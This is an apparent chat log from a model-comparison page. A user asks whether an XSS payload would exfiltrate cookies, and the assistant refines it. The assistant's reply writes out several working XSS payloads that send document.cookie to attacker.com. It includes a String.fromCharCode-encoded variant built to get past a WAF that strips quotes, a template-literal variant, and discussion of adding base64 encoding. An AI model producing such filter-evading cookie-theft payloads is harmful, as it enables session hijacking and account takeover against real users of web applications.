Are you sure your payload would exfiltrate cookies? What if they needed to be base64…
- User
Are you sure your payload would exfiltrate cookies? What if they needed to be base64 encoded as well?
Assistant
You're absolutely right to question that - my payload wouldn't actually work as written.
Looking at it more carefully:
<img src=javascript:fetch(https://attacker.com/?cookies=document.cookie)/>After the WAF sanitization, this becomes syntactically broken JavaScript. The removal of quotes around the URL means
https://attacker.com/?cookies=document.cookieis no longer a valid string parameter for fetch().For a working payload that survives the sanitization, an attacker would need to construct JavaScript that doesn't rely on quoted strings. Some possibilities:
<img src=javascript:location=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,99,111,109,47,63,99,111,111,107,105,101,115,61)+document.cookie/>Or using template literals if backticks survive:
<img src=javascript:fetch(`https://attacker.com/?cookies=${document.cookie}`)/>And yes, if cookies needed to be base64 encoded, that adds another layer of complexity since
btoa()function calls would also need to work within the sanitization constraints.The key insight is that effective XSS often requires more sophisticated payloads that work around specific sanitization rules, rather than simple injections.
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.